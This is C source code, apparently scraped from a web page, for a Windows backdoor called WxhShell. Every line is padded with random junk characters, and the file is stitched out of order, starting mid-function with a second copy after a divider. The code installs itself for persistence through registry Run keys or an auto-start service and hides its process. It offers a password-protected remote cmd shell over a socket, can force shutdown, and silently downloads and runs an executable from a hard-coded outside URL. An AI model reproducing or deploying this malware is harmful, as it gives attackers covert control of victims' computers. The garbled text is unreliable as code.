    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [Y^h)k{-$  
    if(Boot(SHUTDOWN)) \\`(x:\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2M+ *VO  
    else { BUyKiMW49  
    closesocket(wsh); Fn{Pmo*rs  
    ExitThread(0); Qr?1\H:Lq  
    } KD- -w(4  
    break; 8T"kQB.Zv  
    } ?^`fPH=  
  // 获取shell v8C4BuwA  
  case 's': { V$dhiP z  
    CmdShell(wsh); +R;s< pZ^  
    closesocket(wsh); |ZOdfr4uW  
    ExitThread(0); z A/Fh(uX  
    break; 4EaxU !BT  
  } {*K$gH$  
  // 退出 b|\dHi2F T  
  case 'x': { .=9d3uWJ/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o1uM(  
    CloseIt(wsh); $  k_6  
    break; "w__AYHV  
    } K@ a#^lmd  
  // 离开 SnM^T(gtS3  
  case 'q': { j}6h}E&dEr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aS~~*UHW  
    closesocket(wsh); {$ v^2K'C  
    WSACleanup(); }^^c/w_  
    exit(1); Rgl cd  
    break; 0;hn;(V]"  
        } =J'Q%qN<Zd  
  }  {@k , e  
  } j-ob7(v)*]  
#L57d  
  // 提示信息 *eI{g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oz)/KZ  
} RF~G{wz  
  } vJS}_j]_@  
sd =bw  
  return; }{Ra5-PY  
} Hx!eCTO:*  
ab]Q1kD  
// shell模块句柄 {CNJlr@z  
int CmdShell(SOCKET sock) @a,=ApS"  
{ ,LDL%<7t  
STARTUPINFO si; e>bARK<  
ZeroMemory(&si,sizeof(si)); 7xYz9r)w`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (!YJ:,!so  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "yj_v\@4  
PROCESS_INFORMATION ProcessInfo; *B9xL[}  
char cmdline[]="cmd"; u! dx+vd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ixE w!t  
  return 0; UT[{NltH  
} {dn:1IcN  
hMUUnr"8;i  
// 自身启动模式 4;eD}g  
int StartFromService(void) S(CVkCP  
{ @]p {%"$  
typedef struct 2A9crL $  
{ bm4Bq>*=U  
  DWORD ExitStatus; v>N*f~n  
  DWORD PebBaseAddress; Hi*|f!,H?  
  DWORD AffinityMask; i ^2A:6}?  
  DWORD BasePriority; ;zV<63tW  
  ULONG UniqueProcessId; o$V0(1N  
  ULONG InheritedFromUniqueProcessId; #M5d,%?+#[  
}   PROCESS_BASIC_INFORMATION; e,lLHg  
Cpy&2o-%v  
PROCNTQSIP NtQueryInformationProcess; xEeHQ7J  
5UG9&:zu'V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .rnT'""i<5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'GiN^Y9dcc  
OK YbEn#  
  HANDLE             hProcess; %~8f0B|im  
  PROCESS_BASIC_INFORMATION pbi; b?qV~Dg k`  
`AvK=]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GlRjbNW?Q  
  if(NULL == hInst ) return 0; 65*Hf3~~  
)jg*u}u 0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dQ9W40g1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Dy<B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z( }w|  
lNtxM"G&  
  if (!NtQueryInformationProcess) return 0; x'..j5  
K<`W>2"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c h((u(G  
  if(!hProcess) return 0; }V`_ (%Q-e  
#g0N/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c 3o3i  
('$*QC.M  
  CloseHandle(hProcess); FQ`1c[M@  
*+2_!=4V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <r`;$K  
if(hProcess==NULL) return 0; %<[{zd1C-  
<>Dw8?O  
HMODULE hMod; cAot+N+9|]  
char procName[255]; gA}<Y  
unsigned long cbNeeded; ^;.u }W  
b18f=<#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [@8po-()L  
r<Cr)%z!  
  CloseHandle(hProcess); M_.Jmh<&&  
1#Hr{&2  
if(strstr(procName,"services")) return 1; // 以服务启动 +R HiX!PG  
IYXN}M.=  
  return 0; // 注册表启动 @:#J^CsM+'  
} *" C9F/R  
Il(o[Q>jJ3  
// 主模块 wU<j=lY?f  
int StartWxhshell(LPSTR lpCmdLine) c00rq ~<K  
{ KG9-ac  
  SOCKET wsl; 9y;}B y  
BOOL val=TRUE; W*#5Sk  
  int port=0; Dm8fcD  
  struct sockaddr_in door; JX[]u<h?  
!>80p~L  
  if(wscfg.ws_autoins) Install(); !Ko>   
J:>o\%sF  
port=atoi(lpCmdLine); VNIl%9:-l  
Ql l{;A  
if(port<=0) port=wscfg.ws_port; Zv=pS (9  
S.1>bs2  
  WSADATA data; CI-za !T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hfyU}`]  
92A9gY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %O"Whe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y)1J8kq_  
  door.sin_family = AF_INET; g<M!]0OK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \4G9YK-N>  
  door.sin_port = htons(port); ujmIS~"  
~yw]<{?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yt5<J-m  
closesocket(wsl); ~n%Lo3RiP  
return 1; udA@9a^;  
}  JJ}DYv  
$L6R,%c  
  if(listen(wsl,2) == INVALID_SOCKET) { F`x_W;\  
closesocket(wsl); jG;J qT  
return 1; t[>UAr1Vt  
} OW\vbWX  
  Wxhshell(wsl); R2-F@_  
  WSACleanup(); Y:,C_^$w;  
bEQ-? X%7  
return 0; R<6y7?]bZ  
QkD ~  
} SE^l`.U@  
,f:K)^yD  
// 以NT服务方式启动 rXD:^wUSc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) . <z7$lz\  
{ GP hhg  
DWORD   status = 0; ]k7%p>c=B  
  DWORD   specificError = 0xfffffff; Q8m%mJz~]  
5o>`7(t`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NiW9/(;xB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~//E'V-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4aBVO%t  
  serviceStatus.dwWin32ExitCode     = 0; 9cP{u$  
  serviceStatus.dwServiceSpecificExitCode = 0; q@[F|EF=  
  serviceStatus.dwCheckPoint       = 0; , ftJw  
  serviceStatus.dwWaitHint       = 0; X5 or5v  
i({\fb|0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SF,:jpt`Z+  
  if (hServiceStatusHandle==0) return; 1 @t.J>  
tNzO1BK  
status = GetLastError(); xp95KxHHo  
  if (status!=NO_ERROR) %~Rg`+  
{ -#T%*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _&V,yp!|  
    serviceStatus.dwCheckPoint       = 0; #.HnO_sK_  
    serviceStatus.dwWaitHint       = 0; PLs`Ci|`  
    serviceStatus.dwWin32ExitCode     = status; AmDOv4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8Z9>h:c1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]7W!f 2@  
    return; ?i#x13  
  } ^#Q-?O  
CQ/+- -o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $RYGAh  
  serviceStatus.dwCheckPoint       = 0; U.t][#<3  
  serviceStatus.dwWaitHint       = 0; Fovah4q%V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -;_"Y]#  
} -sJD:G,%  
7A(4`D J  
// 处理NT服务事件,比如:启动、停止 Icg-rwa<Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |LQ%sV  
{ -`\rDPGf  
switch(fdwControl) :g63*d+/G  
{ p+]S)K GZw  
case SERVICE_CONTROL_STOP: &>+T*-'  
  serviceStatus.dwWin32ExitCode = 0; `IwZVz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b=MW;]F  
  serviceStatus.dwCheckPoint   = 0; kGAgXtE  
  serviceStatus.dwWaitHint     = 0; <H60rON  
  { TU~y;:OJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v {HF}L  
  } Fh)xm* u(  
  return; PA,aYg0f  
case SERVICE_CONTROL_PAUSE: # f-hI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qF bj~ec  
  break; &57~i=A 3  
case SERVICE_CONTROL_CONTINUE: ]`x+wWe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #?S"y:  
  break; e7xv~C>g  
case SERVICE_CONTROL_INTERROGATE: t`Z3*?UqI  
  break; |Sjy   
}; 2H9hN4N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pI K:$eN!/  
} >@ 8'C"F  
"QXnE^  
// 标准应用程序主函数 Y3[KS;_fr9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A? B +  
{ 7 SJ=2  
0g: q%P0  
// 获取操作系统版本 RDDA^U7y#  
OsIsNt=GetOsVer(); `(?c4oq,c>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ojl X<y.  
d5Ae67  
  // 从命令行安装 G5U?]& I8  
  if(strpbrk(lpCmdLine,"iI")) Install(); P<&bAsje  
y$-@|M$GG  
  // 下载执行文件 eJ45:]_%I@  
if(wscfg.ws_downexe) { u5Z yOZ;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JGvhw,g  
  WinExec(wscfg.ws_filenam,SW_HIDE); c8mh#T bl  
} 3)W_^6>bM  
&)Qq%\EP4  
if(!OsIsNt) { F5x*#/af  
// 如果时win9x,隐藏进程并且设置为注册表启动 [Y*>x2X  
HideProc(); P A ZjA0d  
StartWxhshell(lpCmdLine); 7$%G3Q|)L  
} n^{h@u  
else [5IbR9_  
  if(StartFromService()) Yu" Q  
  // 以服务方式启动 %D#&RS  
  StartServiceCtrlDispatcher(DispatchTable); fTR6]i;  
else M.y!J  
  // 普通方式启动 R$l- 7YSt  
  StartWxhshell(lpCmdLine); r{r~!=u  
V0>[bzI  
return 0; w]qM  
} |0}Xb|+  
|Y}YhUI&  
? Pi|`W   
Fl($0}ER  
=========================================== %.`u2'^  
oZ/"^5  
P,m+^,  
!\{2s!l~  
&S+*1<|`K  
K!ogpd&X&  
" %E@o8  
x^)?V7[t  
#include <stdio.h> | WJ]7C  
#include <string.h> T5}3Y3G,6  
#include <windows.h> .?3ro Q  
#include <winsock2.h>  \H>T[  
#include <winsvc.h> 7Dssr [  
#include <urlmon.h> Ww8U{f  
B=]L%~xL$  
#pragma comment (lib, "Ws2_32.lib") U}X'RCM  
#pragma comment (lib, "urlmon.lib") d!T,fz/-.  
-eK0 +beQ  
#define MAX_USER   100 // 最大客户端连接数 r1IvA^X  
#define BUF_SOCK   200 // sock buffer [g@qZ5I.  
#define KEY_BUFF   255 // 输入 buffer ZG H 7_K  
p#4*:rpq4  
#define REBOOT     0   // 重启 3O*iv{-&  
#define SHUTDOWN   1   // 关机 }*9F`=%F  
viU}  
#define DEF_PORT   5000 // 监听端口 B0yGr\KJ  
1&e8vVN  
#define REG_LEN     16   // 注册表键长度 ?+=,t]`!m  
#define SVC_LEN     80   // NT服务名长度 <!G /&T  
8d'/w}GV  
// 从dll定义API :,p3&2 I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X$u l=iBs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c %Y *XJ'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Oz\J+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bt1bTo  
AX+]Z$  
// wxhshell配置信息 2Q(ZW@0  
struct WSCFG { |wb_im  
  int ws_port;         // 监听端口 tq}sedYhee  
  char ws_passstr[REG_LEN]; // 口令 }vB{6E+h/w  
  int ws_autoins;       // 安装标记, 1=yes 0=no _G-6G=q  
  char ws_regname[REG_LEN]; // 注册表键名 /J-.K*xKt  
  char ws_svcname[REG_LEN]; // 服务名 .Gr"| uII  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g8Y)90 G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vo{ ~D:)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?\4kV*/Cqz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zBTxM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .XK3o .ZhW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V3*@n*"N;  
*dB3Gu{ +  
}; N!?~Dgw  
&=%M("IlD  
// default Wxhshell configuration SLkgIb~'X  
struct WSCFG wscfg={DEF_PORT, w H=7pS"s  
    "xuhuanlingzhe", K( MZ!>{  
    1, 7w5l[a/  
    "Wxhshell", h8M}}   
    "Wxhshell", 7Y.yl F:  
            "WxhShell Service", lv.h?"Ml  
    "Wrsky Windows CmdShell Service", )knK'H(  
    "Please Input Your Password: ",  874j9ky[  
  1, :& $v.#  
  "http://www.wrsky.com/wxhshell.exe",  56C'<#  
  "Wxhshell.exe" K43`$  
    }; 2}P{7flDY  
'R$/Qt;uA  
// 消息定义模块 hQzT =0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b4KNIP7E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I)3LJK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F DGzh/  
char *msg_ws_ext="\n\rExit."; 5K|`RzZ`B$  
char *msg_ws_end="\n\rQuit."; Y>nQ<  
char *msg_ws_boot="\n\rReboot..."; Ttb?x<)+8  
char *msg_ws_poff="\n\rShutdown..."; :=quCzG  
char *msg_ws_down="\n\rSave to "; :%fnJg(  
:W-xsw  
char *msg_ws_err="\n\rErr!"; KxJDAP  
char *msg_ws_ok="\n\rOK!"; @O6 2} F  
iy8Ln,4z(  
char ExeFile[MAX_PATH]; 0'5N[Bvp  
int nUser = 0; |9m*? 7  
HANDLE handles[MAX_USER]; Fkqw #s(T  
int OsIsNt; X*)DpbWd  
|F =.NY  
SERVICE_STATUS       serviceStatus; (w<llb`]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [m<8SOMG(  
gZz5P>^  
// 函数声明 2R3)/bz-SV  
int Install(void); _>t6]?*  
int Uninstall(void); EUPc+D3  
int DownloadFile(char *sURL, SOCKET wsh); |mw3v>  
int Boot(int flag); 8js1m55KT  
void HideProc(void); +I.{y  
int GetOsVer(void); d(D|rf,av  
int Wxhshell(SOCKET wsl); *MCkezW7{  
void TalkWithClient(void *cs); 6D4u?P,  
int CmdShell(SOCKET sock); 5cr\ JR  
int StartFromService(void); Jjx1`S*i  
int StartWxhshell(LPSTR lpCmdLine); _^0UK|[  
-{*QjP;K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *M~BN}.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c`)[-  
99Nm?$ g  
// 数据结构和表定义 ph7]*W-  
SERVICE_TABLE_ENTRY DispatchTable[] = S]c&T`jx  
{ vri<R8  
{wscfg.ws_svcname, NTServiceMain}, Q\le3KB  
{NULL, NULL} Bv}i#D  
}; +=L^h9F  
QIcc@PGT9a  
// 自我安装 2B=BRVtSs  
int Install(void) \q|<\~A  
{ 1|7t q  
  char svExeFile[MAX_PATH]; bqZ5GKUo  
  HKEY key; _/}/1/y$Y  
  strcpy(svExeFile,ExeFile); #t&L}=G{%  
Y c>.P  
// 如果是win9x系统,修改注册表设为自启动 kK]L(ZU +  
if(!OsIsNt) { !ac,qj7spa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yt`K^07@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ",45p@  
  RegCloseKey(key); ]6?6 k4@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =i Wn T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gp]T.ol  
  RegCloseKey(key); GaOM|F'>  
  return 0; e:;u_ be~  
    } ? wZ`U Oi  
  } WQltUaF  
} eh6=-  
else { 6Iv &c2  
9.l*#A^  
// 如果是NT以上系统,安装为系统服务 1xb1?/n1#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y-a3  
if (schSCManager!=0) 2fMKS  
{ 39Tlt~Psz  
  SC_HANDLE schService = CreateService p']oy;t  
  ( *skmTioj&  
  schSCManager, :sJQ r._L  
  wscfg.ws_svcname, T5+9#  
  wscfg.ws_svcdisp, F+m;y  
  SERVICE_ALL_ACCESS, JR4fJG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @@#h-k%k-  
  SERVICE_AUTO_START, p2(Z(V7*  
  SERVICE_ERROR_NORMAL, cFloaCz  
  svExeFile, _ v3VUm#  
  NULL, HV8=b"D"  
  NULL, Amj'$G|+hj  
  NULL, t/(rB}  
  NULL, l !:kwF  
  NULL o9c?)KQ  
  ); Nu7lPEM  
  if (schService!=0) f2Z(hYH~  
  { }<=_&n  
  CloseServiceHandle(schService); )PjU=@$lI  
  CloseServiceHandle(schSCManager); gH|:=vfYUR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ]YKxJ''u  
  strcat(svExeFile,wscfg.ws_svcname); `z<I<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D` 2w>{Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CsiRM8  
  RegCloseKey(key); LHd9q ^D  
  return 0; }5lC8{wZ  
    } DN;3VT.-  
  } ^W ,~   
  CloseServiceHandle(schSCManager); @ x5LrQ_`r  
} k83S.*9Mx  
} ^BhS*  
P$*9Z@  
return 1; zAH6SaI$  
} nXfd f-  
E$USam  
// 自我卸载 80 ckh  
int Uninstall(void) CX#d9 8\b  
{ 4XIc|a Aa  
  HKEY key; CRPE:7,D  
YU/?AQg  
if(!OsIsNt) { ].Xh=7&2{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d VyT`  
  RegDeleteValue(key,wscfg.ws_regname); 5Tq*]Z E  
  RegCloseKey(key); )F,z pGG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '>[Ut@lT;  
  RegDeleteValue(key,wscfg.ws_regname); Cm;M; ?  
  RegCloseKey(key); w[OUGn'  
  return 0; MM(\>J[Uq  
  } sq;3qbz  
} Ih)4.lLcKn  
} %#C9E kr  
else { [I`:%y  
<"{VVyK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [G' +s  
if (schSCManager!=0) 8~y&"  \  
{ ji.T7wn1u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oqbhb1D1<  
  if (schService!=0) 2=uwGIF  
  { c/E'GG%Q%  
  if(DeleteService(schService)!=0) { Y-lTPR<Eq  
  CloseServiceHandle(schService); {%c&T S@s  
  CloseServiceHandle(schSCManager); Sm;@MI<@/  
  return 0; lN*beOj  
  } jcHyRR1R  
  CloseServiceHandle(schService); 5&qBG@Hw]  
  } CV)K=Br5&_  
  CloseServiceHandle(schSCManager); DhXV=Qw  
} RoNE7|gF:  
} c2-oFLNP=  
NuW6~PV  
return 1; d|>/eb.R  
} 2"_5Yyb  
~ +h4i'  
// 从指定url下载文件 zI4d|P  
int DownloadFile(char *sURL, SOCKET wsh) n;wViw  
{ TjHt:%7.  
  HRESULT hr; `\GR Y @cg  
char seps[]= "/"; <<R2 X1  
char *token; #4<=Ira5  
char *file; u;+8Jg+xH/  
char myURL[MAX_PATH]; Iw?*y.z|  
char myFILE[MAX_PATH]; _qk yU)z  
y?U@F/^}N  
strcpy(myURL,sURL); q1v7(`O  
  token=strtok(myURL,seps); "z*.Bk  
  while(token!=NULL) r+k&W  
  { 6|IJwP^Q_  
    file=token; .5);W;`X  
  token=strtok(NULL,seps); &2S-scP  
  } +;4;~>Y  
uIBN !\j  
GetCurrentDirectory(MAX_PATH,myFILE); !{fu(E  
strcat(myFILE, "\\"); "!CVm{7[  
strcat(myFILE, file); z?pi /`y8>  
  send(wsh,myFILE,strlen(myFILE),0); Kp^"<%RT  
send(wsh,"...",3,0); Uz~B`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #+i:s92],  
  if(hr==S_OK) ,:2Z6~z{  
return 0; :{4C2qK>  
else %!eRR  
return 1; I L,lXB<  
vKWi?}1  
} |}UA=? Xl  
:aBm,q9i:}  
// 系统电源模块 p3Ozfk  
int Boot(int flag) M?DZShkV_  
{ P&=YLL<W  
  HANDLE hToken; ![$`Ivro`  
  TOKEN_PRIVILEGES tkp; &n6L;y-  
8:)[.  
  if(OsIsNt) { ^M%P43  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !3iZa*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Uk*(C(  
    tkp.PrivilegeCount = 1; %@)R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J9OL>!J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v*0J6<  
if(flag==REBOOT) { ''D7Bat@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l0;u$  
  return 0; EZ:? (|h  
} :5$ErI  
else { .c&&@>m@.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {&XTa`C  
  return 0; GyMN;|  
} l1|*(%p?X  
  } F(zCvT   
  else { |d-x2M[  
if(flag==REBOOT) { jMCd`Q]K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pC0gw2n8 M  
  return 0; [[]y Q "  
} y z!L:1DG  
else { QV.>Cy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ']fyD3N  
  return 0;  :\'1x  
} 0Ze&GK'Hf  
} AZE%fOG<i  
7w" !"W#  
return 1; FyWf`XTO  
} `?.6}*4@_A  
ezbk@no  
// win9x进程隐藏模块 8{!|` b'f  
void HideProc(void) fZr{x$]N0  
{ SP<Sv8Okj  
>yLDU_P)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TTl9xs,nO  
  if ( hKernel != NULL ) pfIK9>i  
  { llR5qq=t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =liyd74%`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PX_9i@ZG  
    FreeLibrary(hKernel); ,r~^<m  
  } N0}[&rE 8  
=WI3#<vDG  
return; &&52ji<3  
} tDah@_  
==?%]ZE8  
// 获取操作系统版本 dc4XX5Z  
int GetOsVer(void) ME]7e^  
{ qi7*Jjk>90  
  OSVERSIONINFO winfo; ewN|">WXQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 17c`c.yP  
  GetVersionEx(&winfo); %%n&z6w-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a6ryyt 5  
  return 1; z1,#ma}.  
  else *y|w9 r p  
  return 0; ws,?ImA  
} #Dgu V  
*^7^g!=z2  
// 客户端句柄模块 %rnRy<9  
int Wxhshell(SOCKET wsl) .Jg<H %%f  
{ %La/E#  
  SOCKET wsh; u81F^72U  
  struct sockaddr_in client;  -L2 +4  
  DWORD myID; >wb*kyO7(#  
^t<L  
  while(nUser<MAX_USER) G@~e :v)  
{ Z ]ZUK  
  int nSize=sizeof(client); E=S_1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s2QgR37s>  
  if(wsh==INVALID_SOCKET) return 1; y6sY?uu  
?wmu 0rR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PIFZ '6gn  
if(handles[nUser]==0) wRwx((eb  
  closesocket(wsh); X2| Z!  
else gMq;  
  nUser++; _}']h^@ Z  
  } 2++$ Ql/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >.C$2bW<L  
*"F*6+}w"  
  return 0; X3gYe-2  
} P&5vVA6K7  
F3Da-6T@  
// 关闭 socket {/?{UbU  
void CloseIt(SOCKET wsh) Cx(HsJ! ,  
{ "].TKF#yg  
closesocket(wsh); T?u*ey~Tv  
nUser--; e 1bV&  
ExitThread(0); tC f@v'1t  
} [vY)y\W{  
ko!aX;K  
// 客户端请求句柄 G~*R6x2g  
void TalkWithClient(void *cs) T_)+l)  
{ ahM? ;p  
5/m*Lc+r  
  SOCKET wsh=(SOCKET)cs; ;yZY2)L   
  char pwd[SVC_LEN]; 5=8_Le  
  char cmd[KEY_BUFF]; ND 8;1+3  
char chr[1]; \vj xCkg{  
int i,j; l`JKQk   
u<j.XPK  
  while (nUser < MAX_USER) { zCwb>v  
X)[QEq^  
if(wscfg.ws_passstr) { mUb2U&6(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V-i:t,*lk(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a5@lWpQsV  
  //ZeroMemory(pwd,KEY_BUFF); W$" >\A0%  
      i=0; OW> >6zM  
  while(i<SVC_LEN) { Gn10)Uf8X  
9B3}LVg\  
  // 设置超时 )[t3-'  
  fd_set FdRead; $~A\l@xAG  
  struct timeval TimeOut; `5~<)  
  FD_ZERO(&FdRead); \WVY@eB  
  FD_SET(wsh,&FdRead); = &U7:u  
  TimeOut.tv_sec=8; xU9^8,6  
  TimeOut.tv_usec=0; jLul:* L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W?12'EG}xa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hA"z0Fszh  
C9T- 4o1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9>5]y}.{  
  pwd=chr[0]; L w/ZKXDU2  
  if(chr[0]==0xd || chr[0]==0xa) { (]<G)+*  
  pwd=0; ou&7v<)x4  
  break; v{U1B  
  } Yg`z4 U'6~  
  i++; l)1ySX&BU  
    } vnz}Pr! c  
!r0 z3^*N  
  // 如果是非法用户,关闭 socket oX1{~lDJl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *icxK  
} aw0xi,Jz  
s0'Xihsw6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s|8_R;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <.6$zcW  
+wr 5&  
while(1) {  _$4vk  
`\S~;O  
  ZeroMemory(cmd,KEY_BUFF); P1QGfp0-J  
}Rq-IRa'  
      // 自动支持客户端 telnet标准   ^S`c-N  
  j=0; b;sjw5cm_  
  while(j<KEY_BUFF) { $;+`sVG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <^jW  
  cmd[j]=chr[0]; @AkD-}^[  
  if(chr[0]==0xa || chr[0]==0xd) { I#hzU8Cc  
  cmd[j]=0; "7a;Ap q*  
  break; ~x}=lKN  
  } #9Dixsl*Q  
  j++; "Mmvf'N  
    } Y3I+TI>x  
%7rWebd-  
  // 下载文件 D(<20b,  
  if(strstr(cmd,"http://")) { MA:8g D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :ITz\m  
  if(DownloadFile(cmd,wsh)) "%Eyb\V!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3AD^B\<gB  
  else u_U51C\rb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "I]% aK0  
  } QJ s /0iw  
  else { l4d2 i;4BK  
